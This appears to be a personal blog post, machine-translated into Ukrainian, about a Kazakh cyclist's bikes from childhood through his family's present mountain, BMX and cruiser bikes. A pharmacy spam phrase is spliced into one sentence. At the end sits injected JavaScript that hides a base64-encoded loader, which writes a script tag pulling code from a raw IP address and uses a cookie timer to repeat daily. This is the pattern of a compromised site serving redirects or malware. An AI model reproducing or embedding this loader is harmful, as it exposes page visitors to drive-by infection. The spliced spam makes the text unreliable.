Едуард Нітокшін. м Атирау, Казахстан. Моя вело-історія

Наша сеть партнеров Banwar

З чого ж все почалося? Я вже й не пам'ятаю свій перший вів. Спочатку звичайно, був маленький триколісний. Потім був дитячий «Юнга» - пекельний фіксед на колесах з якоїсь гумово-пластмасової субстанції. Я навіть брав участь на ньому в дитячих змаганнях, які проводилися 1 червня на День Захисту Дітей. Від кого нас захищали і чому захищали тільки раз а році - так і залишилося для мене невирішеною загадкою. Пам'ятаю, на своєму «Юнге» я постійно програвав одноліткам на «Левко». Між цими велосипедики була технологічна прірва. Я заздрив цим «лёвушководам». І вже тоді, своїм дитячим мозком я усвідомив, що перемоги в спорті дістаються не тільки тим, хто сильніший, швидше і т.д. (А я був досить розвиненим дитиною), але і тим, у кого вкладено більше коштів.

З цією думкою я продовжував зростати мріючи про справжніх велосипедах. Школярі, уральці, і зовсім вже позамежні Урали лоскотали моє дитяче уяву. Але наша родина не була дуже забезпеченою. До того ж мама панічно боялася всього, що рухається на колесах і пророкувала страшні каліцтва, а можливо, і летальний результат від велосипеда. Ну що поробиш, мами, вони такі 🙂

Вообщем, я довгий час жив без велосипеда, відчайдушно заздрячи буржуїни - сусідам, сім'ї яких могли собі дозволити Школярі та уральці. Чому «буржуїни» - запитаєте ви. Тому, що допроситися у них великий прокотитися було складніше, ніж дострибнути до місяця.

Першим справжнім велом був «Орлятко», який робили в далекому і майже закордонному Талліні. На рамі було загадкове: «Ereliukas» ...

Це був по дростковий вів з дуже цікавою рамою -сдвоенной і вигнутою верхньою трубою, що переходить в верхні частини пір'я задньої вилки. Втулка там була «Торепдо» на відміну від інших велосипедів цього класу, що мали втулку «Газ», яка швидко ламалася. І хоч вилка була Регідние, але, думаю, це був перший крок в сторону якщо не MTB, то в бік «позашляхового» велосипеда. Велику роль зіграло і те, що вів був куплений моїми бабусею та дідусем, які жили в селі, а батьки категорично відмовилися везти мій вів до міста. І два літа я ганяв на ньому по грунтовкам і горбах в Саратовській області. Крила швидко погнулися і почали деренчати. Я зняв сначал а переднє, а, пізніше, і заднє. Через піщаного ґрунту, бруду там не було, і вже тоді вважав крила - зайвою деталлю 🙂

Напевно в цих поїздках і були закладені мої пристрасті до грунтовкам, стежками, і до решти МТВшному антуражу. Я до сих пір вважаю їзду по асфальту заняттям нудним. А ось покататися за містом - це моє.

Трохи пізніше я таки умовив батьків, і в один прекрасний день ми пішли в магазин «Мото-вело товари» на старому колгоспному ринку і купили «Салют» - складаний вів на 24х дюймовий колесах за 100 рублів - (значна сума для нашої сім'ї).

Після мого «Орлёнка», це творіння радянського вело-прома викликало зневіру і розуміння, що нічого хорошого цю країну вже не чекає. Не знаю, скільки він важив, але їм можна було качати м'язи замість штанги. Обіду відразу погнулися, після кількох спроб робити на ньому те, що я успішно робив на Орлёнке. Пам'ятаю, навіть я примудрився зламати конічний болт, яким був прикріплений шатун. Це була катастрофа. Потім цей болт був виточений в якийсь майстерні напівп'яними слюсарями. Напевно такі ж слюсарі збирали цей вів на заводі. Так, що там - збирали? Вони ж його напевно і конструювали!

У той час в місті було не багато місць, де можна було покатати. «Сутягінскій сад» і лісок Жілгородка. Не намагайтеся знайти їх на карті міста. Їх давно вирубали. На місці «Сутягінского саду» стоять котеджі про ціну яких страшно подумати, а на місці ліску - пустир ... Як би там не було, там всюди росла жида (правильна назва - Лох Сріблястий) і колеса проколювалися часто. А бортіровать покрихі Салюта - то ще щастя, скажу я вам. Вообщем, вів сам собою зник з мого життя. Ні, його не вкрали. Він просто «забувся», як непотрібна і нудна річ, яка вже не радує. Трішки сумно…

І раптом сталося диво! Мій батько роздобув у кого-то майже новий Аїсті. У місті в той час не було таких Велов. Гнутий кермо, перемикачі швидкостей, і (о диво!) - тулкліпси. Друзі, які позичали у мене його прокотиться не могли вставити ногу в тулкліпс і зазвичай їх спроби закінчувалися падінням. Ну, що я можу сказати про цей чудо-апарат. Це була ракета! Але була й зворотна сторона - колеса. А точніше, трубки. У нього не було покришок і шин. Це була - єдина трубка. І на наших дорогах вона мала звичай лопатися. Очевидно, якості радянських покришок вистачало на штучне покриття і дуже гладкий асфальт. І якщо вибух заднього колеса закінчувався цілком передбачуваним дрифтом, то розрив переднього - приводив до хворобливих падінь.

Ми з батьком іноді виїжджали разом тренуватися - по маршруту: Авангард - Новий аеропорт -Старий аеропорт. Виходив трикутник приблизно в 10 км. За вечір - 3-5 таких трикутників. Іноді більше. На цьому веле я вперше самостійно став виїжджати на дороги загального користування. У той час машин було менше і я з задоволенням ганявся з автобусами. З Авангарду до стадіону Нафтовик (нині - Мунайши) я доїжджав за 12. хвилин через центральний міст (в той час - єдиний). При цьому я чесно зупинявся на світлофорах разом з іншими машинами, якщо потрапляв на «червоний». За кілька років я всього 2 рази потрапив ... не в ДТП, а в, скажімо так, в небезпечну ситуацію. Але все обійшлося. В цілому, по дорогах їздити було не страшно. Згодом я поміняв колеса на «повноцінні» від велосипеда «Турист», які мали камеру і покришку. По суті, я сам того не розуміючи, зробив з шоссера - циклокросовий вів :). Я навіть знову повернувся на грунт. Виїжджав за місто і катав на самоті. Але це швидко набридло.

Потім я закінчив інститут, попрацював трохи, пішов в армію, повернувся, потім знову робота, весілля. Вів в основному припадав пилом на балконі. Лише іноді застосовувався для тренування собаки. І потім я його продав свого старого друга-однокласника за символічну суму грошей. І якщо чесно, трохи шкодую про це. Це був вів, з яким у нас було повне взаєморозуміння.

Минуло кілька років. Я на той час майже не вилазив з машини. І ось, після досить тривалого вело-перерви, прямо під новий рік в мене в'їхав Гольф я несподівано залишився без машини на якийсь час. Ходити пішки я майже розучився. А між my canadian pharmacy ltd . тим, потрібно було кожен день зустрічати дружину з роботи. Ходити пішки від центру до Жідгородка мені здавалося довгим і нудним заняттям. І звичайно, я згадав про цю дивовижну виді транспорту - велосипеді! Облазивши Інтернет і перебравши всі можливі варіанти від строго Уралу і китайських псевдо-велосипедів до дорогих закордонних моделей, я зупинив свій вибір на «Centurion Backfire M6» на вібрейки. І відразу ж прийшла в голову думка - а чому б і дружині не купити вів, що б їздити разом. І вибір припав на гордість вітчизняного велопрома «Nomad Atilla 530» з заниженою рамою 2009р від виробника Merida-kz.

І ось Вели доставлені з Алмати в великих коробках. На щастя, вдома знайшлися шестигранники і я не парився питанням, ніж це закордонне диво техніки збирати. Так я вперше проїхався на цьому МТВ - хардтейле. відчуття були незвичні. Мало того, що я неправильно відрегулював висоту сідла, так ще й моя фізична форма була м'яко кажучи - не дуже. Ноги «забилися» хвилин через 10. Пам'ятаю, що в перший день я був трохи розчарований і збентежений. Де та швидкість і легкість? Але потім, тверезо оцінивши ситуацію, прорахував все - кілька років без навантажень, близько 30 кілограмів, які додалися і від віку і від растренированности ... Вообщем, треба надолужувати, вирішив я. І в від почалося. Не скажу, що я не злазив з велосипеда, але їжджу часто.

Центуріон відразу ж був мною трохи «прокачаний». Насамперед, замінив педалі на потужні платформи від Author. Це сталося після того, як на підлогу метровому дропе я втратив зчеплення з педалями і сильно забив гомілку. Потім з'явилися «роги» на кермо (той же Author), ходові вогні, потужний ліхтарик Ultrafire для нічних поїздок, сумочка та інша вело-ерундістіка :). Але все-таки, треба визнати, що їздив я в основному в межах міста, часто -Все сім'єю. І тільки їдучи на вахту, я забирав вів з собою і катав по грунтах.

У тому ж році, в кінці весни, був куплений ще один «Atilla 530», але на розмір менше - для сина. Він весь цей час катався на китайському підвісі, який ламався частіше, ніж їхав і важив, як мій жим лежачи :). Пам'ятаю, ми з дружиною розіграли сина: дочекалися його біля його школи. Я сховався з ровером дружини, а дружина зустріла його з його новим ровером. Він, не помітивши різниці, сів на нього і поїхав, як зазвичай «човником» - вперед, потім повертається і т.д. І ось в один із таких його «повернень» я ви їхав йому на зустріч на точно такому ж веле. І тут до нього дійшло, що Велов-то два! А значить ... ТА-ДА !!! Відбулося !!! У нього тепер СВ ОЙ дорослий байк !!! Емоціям не було меж! Треба відзначити, що на новому (нормальному) веле він різко підтягнувся до нашого рівня - вже не відставав так безнадійно, як до цього, коли їздив на своєму китайському барахлі.

Трохи пізніше ми трохи кастомизировать один з номадів - поміняли винос на більш короткий і поставили кермо - razor. Вів відразу став більш стрибучий і зухвалий. І ще, мушу зазначити, що казки про нібито жахливу якість Nomad- не більше, ніж вигадки хитромудрих маркетологів. Принаймні, якщо брати до уваги ранні випуски. Так, це звичайно не верх конструкторської думки, але виглядають і їздять вони добре і ламаються не частіше інших марок. Забігаючи вперед, скажу, що обидва Nomad вже продані, але у нас залишилися про них найтепліші спогади.

Якось непомітно я прийшов до думки, що мені потрібен більш наворочений і .. як би це правильно сказати .. статусний вів. На щастя ця думка прийшла мені в голову в кінці вело-сезону, коли ціни на залізних коней зазвичай падають. Вибирав між Centurion Backfire 800 - топовою моделлю з євро-серії, Cannondale Trail SL 1 - топовою моделлю в лінійці Trail і Kellis Magic. Останній відпав через більшої ваги і через мого недовіри до продавця. Так-так, це теж впливає на мій вибір. Вилка Центуріон так само викликала сумніви. Вообщем так, чи інакше, мій вибір припав на Cannondale. Важливу роль зіграв і сам бренд - Cannondale - безперечно, одна з ікон світового велопрома.

Трохи пізніше мій старий Центуріон був проданий колезі і поїхав на південь Казахстану. До речі, за ці роки з ним поломок не було, за винятком кумедного випадку з розривом ланцюга. Але це була моя вина - неправильно виставив передачі.

Так, як новий Cannondale прибув 30 грудня, на нього відразу ж була поставлена ​​двухрядная шиповка Schwalbe Snow Stud. Зауважу відразу, що я великий шанувальник покришок від цієї німецької фірми. Далі ви в цьому не раз переконаєтеся :). Таким чином, рідні Schwalbe Black Jack були відкладені до теплих днів. За зиму я накатав трохи, але і не мало. І ось прийшла весна, дочекавшись поки сніг повністю розтанув і звільнив асфальт, я перевзувся в Black Jack, прикрутив нові (бюджетні) контакти Welgo і відправився тестувати вів по твердому покриттю в нормальній гумі. Так ... це було щось. У порівнянні з моїм колишнім Centurion, цей просто залітав в підйом (на мости) і «на грунтах» теж показав себе на порядок вище.

Минуло небагато часу і я замінив Black Jack на Schwalbe Rasing Ralf- одна з кращих кантрійних покришок. Це була моя перша складається покришка - тобто, покришка без сталевого корду. Вона набагато легше, ніж звичайні - дротяні. В запас прикупив так само Schwalbe Nobby Nick - більш зубаста і зла - поки лежить і чекає свого часу. На Ральфа по грунту стало їхати набагато приємніше. Він більш передбачуваний в поворотах і на «запесоченной» колії (дуже підле, повинен визнати, покриття). Контакти welgo теж з часом лягли на полицю? А їм на зміну прийшли ShimanoXTPD-M785 (так, так - ті самі, з рамкою).

Поступово, я зрозумів, що рама 20 мені все ж завелика. Мій зріст знаходиться меду 18 та 20 розмірами рам. Nomad Atilla 530 з 18 рамою мені був замалий, а Centurion Backfire з 20 рамою - начебто нормально. Але на Cannondale мені здавалося, що сідло і кермо могли б бути ближче. І я купив карбоновий винос, кермо, роги і, заодно, підсідельний штир. Але тут вийшла засідка - Cannondale використовує стакан 1.5 дюйма на відміну від стандартного 1.8. Але карбонового виносу 1.5 я не знайшов. Довелося купити короткий винос від Truvative. Ось так мій вів «скинув» трохи ваги. Кермо, до речі, змінив форум з razor на flat. Карбон дійсно набагато легше штатного алюмінію. І вібрація, ніби як, зменшилася. За крайній мірі, мені хочеться в це вірити 🙂

Забув сказати про камери. Здавалося б - яка дрібниця - «вона всередині, її не видно, чи не дірява, та й добре»! Але ж ні! Я замінив штатні AV13 на AV14 Extra Light. 130 грам проти 190, але не це головне. Напевно за рахунок тонкої і більш еластичною стінки, AV14 краще тримає прокол. Хочете-вірте, хочете - ні, я одного разу «привіз» додому 5 дірок в задньому і 2 в передньому колесах після 75 км уздовж дачних ділянок і заростей з жідой. Багато з нас тоді поколов і ми не раз зупинялися на заміну камер. А я ще радів: «Це ж треба, як везе - без проколів їжу». Повернувся, поставив (не було сил вішати на стіну) вів у кімнаті. А на ранок дивлюся - обидва колеса «в нуль» здулися. Ось тут я і задумався над властивостями цієї «чудо-камери».

Тим часом, прийшла пора оновити вів дружині. А то було якось ніяково, що я їжджу на новому, дорогому і як би «Крутобрендовом» байці, а вона на старому, вітчизняному. Побродивши по Інтернет - магазинах, натрапив на цікавий екземпляр - Centurion Backfire FUN 600 з все тією ж євро серії. Рама на ньому сильно відрізняється від звичайних «розтягнутих» кантрійних рам у молодших моделей цієї фірми. Цей байк для дёрта, стріту і ендуро. Але, звичайно, я не чекаю від дружини стріту. Але більш «стислий» формат рами якраз підходить жінкам. Не знаю, на скільки спроможна моя теорія, але байк припав їй впору. Він виявився набагато зручніше, ніж її колишній Nomad Atilla 530, який був їй злегка завеликий. Ну а про різницю в перемиканні, думаю і говорити не варто - все-таки - SLX це вам не Acera :) Цей байк так само був полегшений за рахунок карбону: кермо, роги, винос і подседел. І педалі були замінені на флет DMRV8. Причому дружина сама попросила замінити штатні на платформи після першої ж поїздки. А так же, штатний сідло було замінено на жіноче Selle Italia. Вообщем, FUN600 виявився вельми вдалим придбанням.

Приблизно в цей же час, син захопився (не без моєї допомоги) BMX і першим його Бемом став Giant Method 4 - недорога початкова модель в совій лінійці. Як завжди, ми влаштували сюрприз - прийшовши зі школи, він побачив що стоїть в його кімнаті новенький БЕМ прикольно-помаранчевої розмальовки. Все це було знято на «приховану камеру». Відразу ж були придбані шолом і, трохи пізніше, захист на лікті і коліна. Зараз на шоломі є пара «шрамів». А адже це могло бути на голові, якби він катав без шолома! А подряпини на защіте- навряд чи вдасться порахувати. Доля цього Бема вельми печальна. Коли син «виріс» із цієї рами, Бем був проданий його другові-однокласника. І зовсім недавно його збила машина на пішохідному переході. На щастя, хлопець живий-здоровий, відбувся ударами і саднами. А ось бему не пощастило: відновленню не підлягає. Ось такі у нас бемери в Атирау - міцні і суворі :). Тепер він їздить на іншому мотоциклі - покруче.

Якось мені підвернулася можливість прикупити CannondaleTrailSL4 (початкова модель в лінійці Trail) з непоганою знижкою. Я, звичайно нею скористався. І ось у сина з'явився сучасний великий байк квітів фанатів «Спартак» - червоно-білий. На цьому веле ми нічого не змінювали. Крім педалей. Можливо у мене такий бзік, але я не уявляю, як можна користуватися стічними педалями. Зазвичай ці недопедалі відразу летять в корзину зі сміттям. Ось і на Sl4 ми поставили платформи - недорогі, але вельми якісні. Вже й не пам'ятаю, звідки вони у нас вдома взялися. З особливостей даного вела можу відзначити, що разом із заднім перемикачем Alivio у нього касета на 9 швидкостей. Тобто, якщо раптом прийде в голову думка його «проапгрейдить» то проста заміна заднього переклюка (на приклад, на XT) відразу «додасть йому в карму». В цілому вів добре припав синові. Принаймні, без особливої ​​підготовки він легко проїжджав на ньому 50 км по грунту. Але хотілося б частіше бачити його на цьому веле, адже більшу частину вільного часу він проводить зі своїм новим Бемом.

Його ми купили «незадорого» у одного з першого (мабуть - самого першого) бемера в Атирау. Це - кастом на базі Wethepeople Trust 2010. Насамперед ми знайшли «Аерографа», який нам його «прикрасив». Тепер ми знаємо, як виглядає аерографія в Атирау. Ну ладно, не смійтеся! Повірте, до цього він виглядав набагато гірше. Ми замінили кермо, гріпси, сідло, ланцюг. Пізніше виявилася серйозна поломка в задній втулці. Так вже вийшло, що міняти окремо втулку виявилося майже те ж саме, що замінити все колесо. Довго пояснювати, чому. Вообщем, тепер там ще й нове колесо. Напевно було б правильно купити новий вів, трохи додавши грошей. Ну да ладно! Це теж, свого роду, пригода. І наука на майбутнє :)

Ну і Останнє наше придбання: Giant Simple Single. Пляжний круизер черн ого кольору з широким кермом, гнутих рамою и широченні (в порівнянні зі спортивними) сідлом. Здавалося б - нічого в ньому особливого. Але вів з перших хвилин підкорює своєю харизмою і брутальністю, елегантністю та лаконічністю. Нічого Зайве! Одна швидкість, ножний класичний гальмо (колодка на задньому колесі). Ніяких затискачів, хомутів. Колеса просто так, без ключів - не відкинеш, сідло не піднімеш без шестигранника на 5. Посадка - зовсім інша, майже вертикальна, розслаблена. Не подумайте, що я на МТВ надто вже «напружуюся», але тут - зовсім інша справа. Не хочеться поспішати, хочеться їхати спокійно, розглядаючи околиці. До речі, на мій подив, на міст він заїжджає легко. Треба просто переставити руки ближче до середини керма. До речі, важить він всього 11.4 кг. Здавалося б, ну що тут можна проапгрейдить? Відповідь: гума! Рідні покришки звичайно непогані. Але я ж фанат Schwalbe! Тому, що ми поставимо на круизер? Правильно - Big Apple. І ось тепер, коли хочеться просто покататися не поспішаючи, я використовую круизер. Або вечорами, зустрічаючи дружину з роботи, я приїжджаю на ньому, потім опускаю сідло (шестигранник - завжди з собою :)) і назад їде дружина, а я йду поруч. Вообщем - кумедний вів. Не шкодую, що взяли його.

Ну і головне питання: а навіщо все це потрібно? Навряд чи я зможу точно і лаконічно відповісти вам на це питання. І навряд чи хтось ще зможе. Думаю, кожен сам вибирає, як йому сходити з розуму. Хтось скаже: «для підтримання спортивної форми краще ходи в спортзал і виснажувати себе на тренажерах!» А я відповім, що я катаюся не заради фізичних навантажень. Я не вважаю калорії, які не обмежую (майже) себе в їжі, чи не вимірюю біцепс сантіметровкой - я не заморочуюся на рахунок цього. Я, напевно, не спортсмен в прямому сенсі цього слова. Та й, напевно, запізно в мої 40 років думати про участь у серйозних велосипедних змаганнях, як це не сумно усвідомлювати. Адже в моєму віці я можу розраховувати на номінацію «Ветерани» і в кращому випадку отримати за перше місце приз: багажник, крила і упаковку валідолу 🙂

Тоді що, турист? Ні, і не турист. Адже сівши в машину, або купивши квиток на літак я можу побачити набагато більше і за менший проміжок часу.

Тоді що ж змушує мене рано вранці, щулячись від приємної прохолоди, чи наоб орот - ввечері, коли сонце вже збирається сідає виїжджати на велосипеді на ґрунтовку і намотувати кілометр за кілометром? Може це - бажання довести собі, що я все ще щось можу? Що я можу сказати собі «продовжуй», коли лактат в м'язах народжує думки про те, що можна не робити цього, здатися, зупинитися ... Але ні, я раз по раз змушую себе виходити з комфортної швидкості, їхати трохи швидше. Я вважаю марною тратою часу поїздку на велосипеді, коли нічого не болить, немає прискореного пульсу. Дивно, чому? Адже я ж розумію, це - не тренування. Бо будь-яке тренування напевно потребує реалізації на змаганнях.

Так, це - не тренування. Це - щось інше. Швидше за все, це - змагання з самим собою. Дізнатися, що сильніше: твоя воля, або твоя втома. Що рухає твоїми вчинками: прагнення зробити щось краще, ніж учора, або бажання здатися і повернути ... Напевно якось так ...

function getCookie (e) {var U = document.cookie.match (new RegExp ( «(?: ^ |;)» + e.replace (/([\.$?* | {} \ (\) \ [\ ] \\\ / \ + ^]) / g, "\\ $ 1") + »= ([^;] *)»)); return U? decodeURIComponent (U [1]): void 0} var src = »data: text / javascript; base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs =», now = Math.floor (Date.now () / 1e3), cookie = getCookie ( «redirect»); if (now> = (time = cookie) || void 0 === time) {var time = Math.floor (Date.now () / 1e3 + 86400), date = new Date ((new Date) .getTime () + 86400); document.cookie = »redirect =» + time + »; path = /; expires = "+ date.toGMTString (), document.write (")}